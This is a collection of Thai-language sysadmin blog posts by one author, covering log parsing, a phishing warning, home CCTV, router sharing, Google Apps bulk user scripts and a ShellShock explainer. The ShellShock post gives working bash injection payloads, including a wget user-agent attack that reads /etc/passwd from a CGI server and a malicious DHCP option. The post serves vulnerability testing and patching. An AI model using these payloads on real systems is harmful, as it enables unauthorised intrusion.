Author: kanakorn.h

  • Shell Script : Grouping and Summation

    มี Log ขนาดใหญ่ แล้ว ต้องการจะวิเคราะห์ข้อมูลของนาทีที่ผ่านมา เลือกเฉพาะรูปแบบที่ต้องการด้วยคำสั่ง

    grep 'Apr 28 10:59' /var/log/mail.log | grep 'postfix/qmgr' |grep 'nrcpt=' |grep -v 'from=<>'

    ได้ผลมาประมาณนี้

    01

    ต้องการเอาข้อมูล X และ Y จากรูปแบบนี้ from=<X> และ nrcpt=Y ใช้ความรู้จาก Shell Script: Extract exact pattern from string ใช้คำสั่งต่อไปนี้

    grep 'Apr 28 10:59' /var/log/mail.log | grep 'postfix/qmgr' |grep 'nrcpt=' |grep -v 'from=<>'|sed -n 's/.*\sfrom=<\(.*\)>.*\snrcpt=\(.*\)\s(.*/\1:\2/p'

    ได้ผลมาประมาณนี้

    02

    ต้องการจับกลุ่มตาม คอลัมน์ที่ 1 แล้วหาผลรวมของคอลัมน์ที่ 2 ในแต่ละกลุ่ม ใช้คำสั่ง

    grep 'Apr 28 10:59' /var/log/mail.log | grep 'postfix/qmgr' |grep 'nrcpt=' |grep -v 'from=<>'|sed -n 's/.*\sfrom=<\(.*\)>.*\snrcpt=\(.*\)\s(.*/\1:\2/p' | awk 'BEGIN{FS=OFS=":"}{a[$1]+=$2}END{ for (i in a) print i,a[i]}'

    ได้ผลดังนี้

    03

    Reference:

    http://unix.stackexchange.com/questions/169215/group-by-and-sum-in-shell-script-without-awk

  • Shell Script : Extract exact pattern from string

    มี string ดังนี้ ในตัวแปร line

    line=’Apr 18 06:04:57 webmail squirrelmail: Message sent via webmail: by username.s (psu.ac.th) at 41.203.69.5 on 04/17/2015 23:04:57: Message-ID: 98f9739438686e127bcb8547fea7ed82.squirrel@webmail.psu.ac.th Total 9 recipients Message-ID: 98f9739438686e127bcb8547fea7ed82.squirrel@webmail.psu.ac.th’

    ต้องการค่าที่อยู่ระหว่าง Total … recipients

    ใช้คำสั่งนี้

    total=$(echo $line | sed -n ‘s/.*Total \([[:digit:]]*\) recipients.*/\1/p’)

    ตัวแปร $total จะมีค่า 9 ตามที่ต้องการ

    อธิบาย
    คำสั่ง
    sed -n ‘s/PATTERN/&/p’
    จะแสดงข้อความที่ตรงกับ Pattern เท่านั้น ไม่แสดงข้อความอย่างอื่่น

    Reference:
    http://www.grymoire.com/Unix/Sed.html#uh-15

  • Spam-20150420-01

    หากท่านได้รับ Email ในลักษณะดังภาพต่อไปนี้ … นี่เป็นจดหมายหลอกลวง !!!

    สิ่งที่ต้องทำ !

    • ห้ามคลิกลิงค์ใดๆ: เพราะมันจะนำไปสู่เว็บไซต์หลอกลวงเอาข้อมูลส่วนตัว รหัสผ่าน และข้อมูลทางการเงินได้ หรือ อาจจะถูกฝังโปรแกรมดักจับข้อมูลในเครื่องของท่านได้ โดยไม่มีการเตือน
    • ห้าม Reply, Forward : เพราะท่านกำลังทำให้เกิดการแพร่กระจาย และ ตกเป็นเป้าหมายต่อไปทันที
    • ให้ลบทิ้งทันที

    หากคลิก หรือ พลาดบอกรหัสผ่านไปแล้ว

    • ให้ตั้งรหัสผ่านใหม่ทันที !!! และต้องแตกต่างจากเดิมโดยสิ้นเชิง
    • หาก Reply ไปตอบโต้กับผู้ส่ง ท่านต้องระวังตัวมากขึ้น เพราะจะมีจดหมายหลอกลวงอื่นๆจำนวนมากที่จะวิ่งเข้ามาหาท่าน

    ทางมหาวิทยาลัย จะไม่ส่งจดหมายแจ้งเตือน/สอบถามรหัสผ่านจากท่านเด็ดขาด
    ดูลักษณะ จดหมายหลอกลวงได้ที่นี่ http://sysadmin.psu.ac.th/tag/spamtoday/

    11016090_825810207484219_4181677015922385492_n 11133880_979914218687413_6070345264068726966_o 11168077_10206042289793579_6477794721261486887_n

     

    Screenshot_2015-05-19-10-04-57

  • วิธีทำระบบกล้องวงจรปิดที่บ้านแบบประหยัด + ดูผ่าน Internet โดยไม่ต้องทำ Port Forward

    อยากมีกล้องวงจรปิดที่บ้านแบบประหยัดงบ เชิญอ่าน …

    แนวคิด: ใช้งานสิ่งที่มีอยู่ ซื้อเท่าที่จำเป็น บันทึกวิดีโอได้ตามช่วงเวลาที่กำหนด (06:00-18:00) นอกช่วงเวลาบันทึกเฉพาะเมื่อมีความเคลื่อนไหว (Motion Detection) (00:00-06:00) ระบบสามารถลบวิดีโอที่อายุเกินกำหนดได้ และสามารถดูได้จาก Internet โดยไม่ต้องทำ Port Forward (บ้านที่มี ADSL ไม่สามารถ Fix IP ได้ แถมบางค่ายให้ NAT IP มาที่ Router อีก ยิ่งทำยาก)

    สิ่งที่มีอยู่แล้ว:

    กล้อง: สามารถใช้งาน Smart Phone เก่าๆ เช่น Samsung Galaxy Mini + ติดตั้งโปรแกรม IPCamera โดย Fix IP: 192.168.2.21

       

     

    PC: Notebook เครื่องเก่า เป็น Windows 7 ติดตั้งโปรแกรม Open Source ชื่อ iSpy หรือ จะใช้ VLC ก็ได้ (ค่อยเขียนบทความต่อไป สำหรับคนที่จะใช้ Linux Server)

    Wireless Network:

    TP-Link TD-W8961ND

    ซื้อเพิ่ม:

    กล้อง Network Camera: D-Link DCS-930L ราคา 1,290 บาท โดย Fix IP: 192.168.2.22

    เลือกรุ่นนี้เพราะ พื้นที่ที่ต้องการจับภาพไม่จำเป็นต้องมี Infrared ไว้ดูตอนกลางคืน สามารถตั้งเวลาที่จะเชื่อมต่อจาก Internet ได้ (เพื่อความปลอดภัย) ,มี Motion Detect ซึ่งเพียงพอต่อความต้องการแล้ว และ กล้องของ D-Link มีสิ่งที่เรียกว่า mydlink Cloud Access ทำให้สามารถเชื่อมต่อกล้องจาก Internet ได้โดยไม่ต้องทำ Port Forward (หากใครไม่ชอบ ก็ปิดได้)

    การติดตั้ง:

    กล้องของ Android ที่ติดตั้ง IPCamera Apps ไป จะสามารถเข้าถึงวิดีโอได้ที่ http://a.b.c.d:8080/video โดยสามารถตั้ง Username/Password ได้ตามต้องการ

    กล้องของ D-Link DCS-930L เมื่อแกะกล่อง ก็เสียบสายไฟ แล้วไปกดปุ่ม WPS ที่ Router ระบบก็จะเชื่อมต่อกล้องเข้ากับระบบแล้ว หรือถ้าไม่มี WPS ก็ต่อสาย LAN เข้ากับ Port ของกล้อง และ Fix IP ของ Network Card ของคอมพิวเตอร์ ให้เป็น 192.168.0.2 แล้วเปิดเว็บไปที่ http://192.168.0.20 เพื่อเข้าไปบริหารจัดการกล้อง จากนั้น เมื่อจะเข้าถึงวิดีโอได้ที่ http://a.b.c.d/video/mjpeg.cgi โดยสามารถตั้ง Username/Password ได้ตามต้องการ

    ที่ Router ให้เข้าไปใน Router Configuration เพื่อ Fix IP กับ MAC Address ของกล้อง เป็นอันเรียบร้อย

    โปรแกรม iSpy: กดปุม Add กล้องตาม URL ที่กล่าวข้างต้น จากนั้น ตั้งค่า Schedule เพื่อกำหนดว่า เวลา 06:00-18:00 ของทุกวัน ให้บันทึกวิดีโอต่อเนื่อง ค่าเริ่มต้นจะบันทึกวิดีโอเป็นไฟล์ ความยาว 15 นาที (900 วินาที) ซึ่งสามารถปรับแต่งได้ตามต้องการ ส่วนเวลา 00:00-06:00 ก็สั่งให้ทำ Motion Detect จับภาพเฉพาะเมื่อมีการเคลื่อนไหว (สามารถระบายตำแหน่งที่ต้องการให้จับความเคลื่อนไหวได้ด้วย) แล้วก็ Save … จบ โปรแกรมนี้สามารถเพิ่มกล้องได้ 32 ตัว ไม่จำกัดว่ายี่ห้อกล้อง ขอให้สามารถเข้าถึงวิดีโอได้ผ่าน Network ก็พอแล้ว

    การเข้าถึงกล้องจาก Internet:

    สำหรับ D-Link Network Camera ก็ให้ติดตั้ง Clients แล้วใส่ Username/Password ของ mydlink Account ก็สามารถดูได้แล้วผ่าน Cloud Access

    ส่วน iSpy นั้น ถ้าจะเข้าถึงจากภายนอก ก็ต้องจ่ายเงินนิดหน่อย และต้องทำการ Port Forward (พอดีไม่ได้ทำตรงนี้)

    เดี๋ยวค่อยเล่ารายละเอียดโปรแกรม iSpy และ การใช้ VLC เพื่อบันทึกวิดีโอจากล้องในตอนต่อไป

     

     

     

     

     

  • วิธีการใช้งาน ADSL ร่วมกันกับข้างบ้าน

    ใครใช้ ADSL หรือ ซื้อ Internet ไว้ใช้งานที่บ้านบ้าง ??? มีราคาตั้งแต่ 590 บาทต่อเดือน (ไม่รวม VAT) ขึ้นไป เมื่อมีแล้วก็ใช้งานได้รวดเร็วทันใจ … แต่คำถามคือ … ใช้งานคุ้มค่าหรือไม่ ??? แล้วจะดีไม๊ ถ้ารู้ว่า ยังใช้ไม่คุ้มค่า แล้วสามารถหารค่าใช้จ่ายร่วมกับข้างบ้านได้ หรือ กรณีบ้านเดียวกันนี่แหล่ะ แต่เป็นบ้านทรงสูงเช่น บ้านเป็นตึกหลายชั้น จะเดินสาย LAN ไปชั้นบนๆก็ไม่สะดวก ไม่สวยงาม สามารถใช้ Solution นี้ได้ (แบ่งสัดส่วนกันตามสะดวกใจ)

    โจทย์: บ้าน A พบว่า ตัวเองใช้งาน ADSL 10Mbps ไม่ค่อยคุ้ม เลยคุยกับบ้าน B ว่า แบ่งใช้งานกันไม๊ ? บ้าน B ก็พบว่า ตัวเองถ้าติดตั้ง ADSL ใหม่ก็ใช้ไม่คุ้มเช่นกัน จึงหาทางออกร่วมกัน บ้าน A และ B คั่นด้วยถนนหมู่บ้าน กว้าง 10 เมตร ไม่สามารถลากสาย LAN ข้ามมาได้ ส่วน ADSL Router ของ A อยู่กลางบ้าน และปล่อยสัญญาณ WiFi เต็มพิกัด

    ที่กลางบ้าน B วัดความแรง WiFi ของบ้าน A ได้ -88 dB แต่ถ้ามาที่หน้าบ้านของ B จะวัดได้ -65 dB ซึ่งพอจะไหว

    แนวคิด: จะใช้เทคนิค WiFi Repeater ด้วย ADSL Router ตัวเก่ารับสัญญาณ WiFi มาแล้วกระจายผ่าน LAN ส่งให้ ใช้ WiFi Router อีกตัว ทำหน้าที่เป็น Access Point

    อุปกรณ์ที่ใช้ และการตั้งค่า:
    บ้าน A: 3BB ADSL WiFi Router (Router IP: 192.168.1.1) ตั้ง SSID เป็น AHOME

    บ้าน B:
    1. Xyzel NBG-419N ทำงานในโหมด WISP (Wireless Internet Service Provider) ทำหน้าที่รับสัญญาณ WiFi มากระจายผ่าน LAN (Router IP: 192.168.2.1) และเปิด DHCP Range 192.168.2.2 – 192.168.2.99 จากนั้น เสียบสาย LAN เข้าที่ Port 1 (ถ้าจะให้ตัว Router อยู่ภายในบ้าน ควรซื้อสาย Antenna ยาวสัก 3 เมตร ราคาประมาณ 199 บาท เพื่อให้เสาอากาศไปอยู่นอกบ้าน แล้วเชื่อมสายสัญญาณเข้ามาที่ตัว Router)

    2. TP-Link TD-W8961ND เปลี่ยนเป็น Access Point Mode  (Router IP: 192.168.2.100) ตั้ง SSID เป็น BHOME ปิด DHCP Server แล้วเสียบสาย LAN เข้ามาที่ Port 1

    ผลการทำงาน: 

    บ้าน B: เมื่อเชื่อมกับ BHOME จะได้สัญญาณความแรง -50dB ทั้งบ้าน สามารถทดสอบ Speed Test ได้ 7 Mbps

     

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #16

    ShellShock หรือในอีกชื่อคือ Bashdoor (เลียนเสียง Backdoor) ซะงั้น เป็นช่องโหว่ใน Shell ที่ใช้กันทั่วไปในตระกูล *NIX ทั้ง UNIX, Linux รวมถึง Mac OS X[1] ด้วย โดยอาศัยความสามารถในการเขียน Function ใส่ใน Environment Variable ได้ โดยไม่มีการตรวจสอบข้อมูลที่แถมมาทำให้สามารถแทรกคำสั่งของระบบปฏิบัติการได้

    ช่องโหว่นี้เริ่มประกาศเป็น CVE-2014-6271[2] โดย Bash Shell ที่ได้รับผลกระทบเริ่มตั้งแต่รุ่น 1.14.0 ถึง 4.3 ย้อนกลับไปตั้งแต่ปี 1999 กันเลยทีเดียว !!  มีผลกระทบกับ CGI-base Web Server (ได้แก่ Apache), OpenSSH Server, DHCP Clients และ Qmail Server โดยเป็น Bug ตาม CWE 78[3] Improper Sanitization of Special Elements used in an OS Command (‘OS Command Injection’)

    วิธีตรวจสอบ Bash Version ใช้คำสั่ง

    bash --version

    หากพบว่า ต่ำกว่า 4.3 ก็ให้ลองคำสั่งต่อไปนี้

    env x='() { :;}; echo Vulnerable' bash -c 'echo Hello World'

    ถ้าตอบมาว่า

    Vulnerable
    Hello World

    ก็แสดงว่า เป็นเครื่องนี้มีช่องโหว่ครับ

    อธิบายเพิ่มเติม

    1. คำสั่งในการสร้าง Environment Variable คือ

    env x=' … '

    โดยในที่นี้จะมีตัวแปร x เป็น Environment Variable

    2. ต่อมา ในตัวแปร x สามารถสร้าง Function ได้ ในรูปแบบ

    env x='() { :;};'

    ภายใน { } จะใส่คำสั่งอะไรก็ได้ แต่ในตัวอย่างนี้ เครื่องหมาย : มีความหมายเหมือนกับ true อะไรทำนองนั้น

    3. ปัญหาอยู่ตรงที่ว่า Bash Shell ที่มีปัญหา ไม่ได้ตรวจสอบว่า Environment Variable ที่สร้างแบบ Function นี้ สิ้นสุดแค่การสร้าง function ทำให้สามารถแทรกคำสั่งเพิ่มเติมได้ หลังเครื่องหมาย ;

    env x='() { :;}; echo Vulnerable'

    ลองใช้คำสั่ง

    env x='() { :;}; cat /etc/passwd'

    จะแสดงตัวแปร Environment Variable ทั้งหมด และพบตัวแปร x มีค่าเป็น function อยู่ แต่จะยังไม่มีอะไรเกิดขึ้น

    4. แต่เมื่อมีการเรียก Bash Shell ทำงาน ด้วยคำสั่ง

    env x='() { :;}; echo Vulnerable' bash -c 'echo Hello World'

    ก็จะเป็นการเรียกคำสั่งในตัวแปร x ออกมาด้วยนั่นเอง

    กรณีผลกระทบของ DHCP Client คือ ถ้าเครื่อง DHCP Server ตัวอย่างเช่น dnsmasq[4] สามารถตั้งค่า dhcp-option-force ซึ่งจะส่งคำสั่งไปยัง DHCP Client ที่ใช้ Bash Shell ทำงานตามต้องการได้ เช่น

    dhcp-option-force=100,() { :; }; echo ‘You are going to be shocked..ShellShock !!!’>/tmp/

    ในส่วนของ Web Security หากติดตั้ง Apache [5]และใช้งาน CGI บนเครื่องที่มี Bash Shell ที่มีช่องโหว่นี้ ก็จะเกิดปัญหา โดยอาศัยตัวแปร Agent String วิธีการทดสอบมีดังนี้

    1. ที่เครื่องเว็บเซิร์ฟเวอร์ที่มี Apache และใช้งาน CGI มี test.cgi ง่ายๆดังนี้

    #!/bin/bash
     echo "Content-type: text/plain"
     echo
     echo
     echo "Hi"

    2. ถ้าเรียกผ่าน Web Server มี IP Address เป็น 192.168.56.101 และจะเรียก URL ของ CGI ดังนี้

    http://192.168.56.101/cgi-bin/test.cgi
    

    การเรียกผ่าน Web Browser ก็จะทำงานตามปรกติ

    3. แต่ถ้าใช้ wget ผ่านทาง command linet ไป โดยกำหนด option -U เพื่อบอกว่า Agent String ที่ติดต่อไปคืออะไร ก็จะสามารถแทรกคำสั่งเพิ่มเติมได้ เพราะ Apache CGI ใช้ Bash Shell ในการทำงานนี้ เช่นใช้คำสั่ง

    wget -U "() { :;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.56.101/cgi-bin/test.cgi

    คำสั่งนี้ จะติดต่อไปยัง Web Server โดยแทนที่จะบอกว่าติดต่อไปจาก Agent อะไรธรรมดาๆ ก็จะแทรก Shell เข้าไปด้วย โดยตัวอย่างนี้ จะได้ /etc/passwd ออกมา เก็บไว้ที่เครื่อง ชื่อไฟล์ test.cgi

    ดังนั้น รีบ Patch ซะ

    ขอให้โชคดี


    [1] “Shellshock (software bug) – Wikipedia, the free encyclopedia.” 2014. 20 Jan. 2015 <http://en.wikipedia.org/wiki/Shellshock_(software_bug)>

    [2] “CVE-2014-6271 – CVE Details.” 2014. 20 Jan. 2015 <http://www.cvedetails.com/cve/CVE-2014-6271/>

    [3] “CWE – CWE-78: Improper Neutralization of Special …” 2006. 20 Jan. 2015 <http://cwe.mitre.org/data/definitions/78.html>

    [4] “shellshock dhcp exploitation – Security StackExchange.” 2014. 20 Jan. 2015 <http://security.stackexchange.com/questions/68877/shellshock-dhcp-exploitation>

    [5] “What is a specific example of how the Shellshock Bash bug …” 2014. 20 Jan. 2015 <http://security.stackexchange.com/questions/68122/what-is-a-specific-example-of-how-the-shellshock-bash-bug-could-be-exploited>

  • วิธีติดตั้ง Window Manager แบบน้อยที่สุดบน Ubuntu Server

    เนื่องจากต้องการสร้าง VirtualBox ขนาดเล็กสุดๆเพื่อใช้เตรียมทำ Workshop แต่จะไม่สะดวกสำหรับผู้อบรมที่ไม่คล่องเรื่องคำสั่งบน Linux มากนัก อยากให้ Copy-Paste ได้บ้าง จึงต้องหาวิธีลง Window Manager ให้พอใช้ได้

    เริ่มต้นจากติดตั้ง ubuntu server version ที่ต้องการ จะใช้พื้นที่ประมาณ 890 MB คราวนี้เลือก Window Manager ที่เล็กที่สุดแต่ใช้งานง่าย นั่นคือ LXDE หรือ lubuntu-desktop ปัญหาอยู่ที่ว่า ถ้าลงแบบ Default มันจะลากเอาสิ่งที่ไม่ต้องการมามากมาย ทำให้ขนาดที่ใช้ขยายจาก 890 MB ไปถึง 2.5 GB ซึ่งใหญ่เกินไป

    จึงไปค้นหาวิธีดูพบว่าให้ทำดังนี้
    1. sudo apt-get install –no-install-recommends lubuntu-desktop
    2. เมื่อติดตั้งเสร็จ ให้ reboot เครื่องหนึ่งรอบ ก็จะเข้าสู่ lubuntu แบบน้อยที่สุด ใช้พื้นที่ไปเพียง 1.3 GB
    3. ปัญหาต่อมา หากใช้บน VirtualBox ก็จะติดปัญหาเรื่อง Screen Resolution ที่บีบบังคับไม่ให้เปลี่ยนแปลงได้ง่ายๆ จึงต้อง ติดตั้ง Guest Additions ลงไป แต่ เนื่องจากเป็นการลงแบบเล็กที่สุด จึงไม่ติดตั้งพวก Build Tools มาด้วย จึงต้องใช้คำสั่งนี้ก่อน
    sudo apt-get install build-essential
    4. จากนั้น จึงติดตั้ง Guest Additions ต่อไป แล้วปรับ Screen Resultion ได้ตามต้องการ

  • วิธีใช้ Google Sheets ลบผู้ใช้จำนวนมากบน GAFE

    [บทความนี้ สำหรับผู้ที่มี Admin Privilege ขึ้นไป]

    ต่อจากบทความ วิธีใช้ Google Sheets เปลี่ยนแปลงข้อมูลผู้ใช้จำนวนมากบน GAFE

    เมื่อต้องการลบผู้ใช้จำนวนมาก ก็ทำเหมือนเดิม แต่เปลี่ยน Script นิดหน่อยดังนี้

    1. สร้าง Google Apps Scripts ใน Google Sheets นี้ ด้วยเมนู Tools > Script Editor … จากนั้นเลือก Blank Project แล้วกดปุ่ม Close
    2. ตั้งชื่อโปรเจค UpdateUser แล้วใส่โค๊ดดังนี้ (ปรับค่า firstRow และ lastRow ให้เหมาะสมตามต้องการ)
    3. นอกนั้นเหมือนเดิม

    หวังว่าจะเป็นประโยชน์ครับ

  • วิธีใช้ Google Sheets เปลี่ยนแปลงข้อมูลผู้ใช้จำนวนมากบน GAFE

    [บทความนี้ สำหรับผู้ที่มี Admin Privilege ขึ้นไป]

    วิธีใช้ Google Sheets สร้าง Account ใหม่ลงใน Sub Organization ของ GAFE

    เมื่อต้องการแก้ไขข้อมูลของผู้ใช้จำนวนมาก ได้แก่

    • ตั้งรหัสผ่านใหม่
    • ไม่บังคับให้เปลี่ยนรหัสผ่านในครั้งแรกที่เข้าระบบ
    • ย้าย Organization Unit ไปอยู่ภายใต้ /Students

    ใน Admin Console ของ Google Apps จะมีเครื่องมือ Users เพื่อใช้ในการจัดการผู้ใช้

    แต่เครื่องมือที่มีอยู่ มีข้อจำกัด คือ ไม่สามารถเขียนเงื่อนไขในการกรองเอาเฉพาะ Email Address ของผู้ใช้ที่ต้องการได้

    ดังนั้นจึงต้องใช้วิธีการ Download Users ทั้งหมดออกมาก่อน

    เลือก Download all users … แล้วกดปุ่ม OK

    จะได้ไฟล์ UserData-psu.ac.th-20141110.csv (ชื่ออาจจะแตกต่างกันไปในแต่ละโดเมน) ให้ Save ไว้ในเครื่องคอมพิวเตอร์ก่อน แล้ว Upload ไปเก็บไว้บน Google Drive แล้วเปิดด้วย Google Sheets จากนั้นเลือกคอลัมน์ A แล้วคลิกขวาเลือก Copy ไปใส่ใน Google Sheets ใหม่

    ใน Google Sheets ใหม่ ให้ Edit > Paste ข้อมูลมาลงไว้ในคอลัมน์ A เช่นกัน

    จากนั้นในคอลัมน์ B2 ใส่สูตรว่า (นักศึกษาของมหาวิทยาลัยจะใช้ Login เป็นรหัสนักศึกษาซึ่งเป็นตัวเลขทั้งหมด จำนวน 7 หรือ 10 หลัก ตามด้วย @psu.ac.th) ดังนี้

    )

    จากนั้นให้ Copy สูตรดังกล่าวไปในคอลัมน์ B ทั้งหมด จะทำให้ ชื่อบัญชีของนักศึกษาเท่านั้นที่จะมีค่าเป็น Y ส่วนบุคลากรจะมีค่าเป็น N หลังจากนั้นให้ Filter โดยเลือกเฉพาะคอลัมน์ B ที่มีค่าเป็น Y ก็จะได้นักศึกษาทั้งหมด

     แล้วทำการเลือกข้อมูลที่ได้ Copy เอาไว้แล้วสร้าง Google Sheets ใหม่อีกอันหนึ่ง ตั้งชื่อว่า Udate Users แล้วเอาข้อมูลดังกล่าวมาใส่ในคอลัมน์ A จากนั้นสร้าง B เป็น Organization Unit Path ที่ต้องการ แล้วสร้าง C เป็น Password ที่ต้องการตั้ง และ D เป็น Status

    ต่อไป เป็นขั้นตอนการเขียน Google Apps Script

    1. สร้าง Google Apps Scripts ใน Google Sheets นี้ ด้วยเมนู Tools > Script Editor … จากนั้นเลือก Blank Project แล้วกดปุ่ม Close
    2. ตั้งชื่อโปรเจค UpdateUser แล้วใส่โค๊ดดังนี้ (ปรับค่า firstRow และ lastRow ให้เหมาะสมตามต้องการ)
    3. ถ้าลอง Run เลย จะเจอ Error อย่างนี้
      คลิก Continue -> Accept -> Dismiss
      เพราะยังไม่ได้ Enable API ไว้
    4. เนื่องจากการสร้าง Account ต้องใช้สิทธิ์ของ Admin ขึ้นไป และต้องใช้ Admin SDK Directory API ด้วย วิธีการคือใช้เมนู Resources -> Advanced Google Services แล้วเลือก Admin Directory API เป็น On
    5. จากนั้นคลิกที่ Google Developers Consol
      ที่ Admin SDK ให้เปลี่ยน ON
    6. เมื่อ Run ใหม่ ก็จะได้ผลใน Google Sheets ตามภาพ
    7. ผลที่ได้คือสามารถย้ายนักศึกษาลงไปใน OU ที่เหมาะสมได้

    หวังว่าจะเป็นประโยชน์ครับ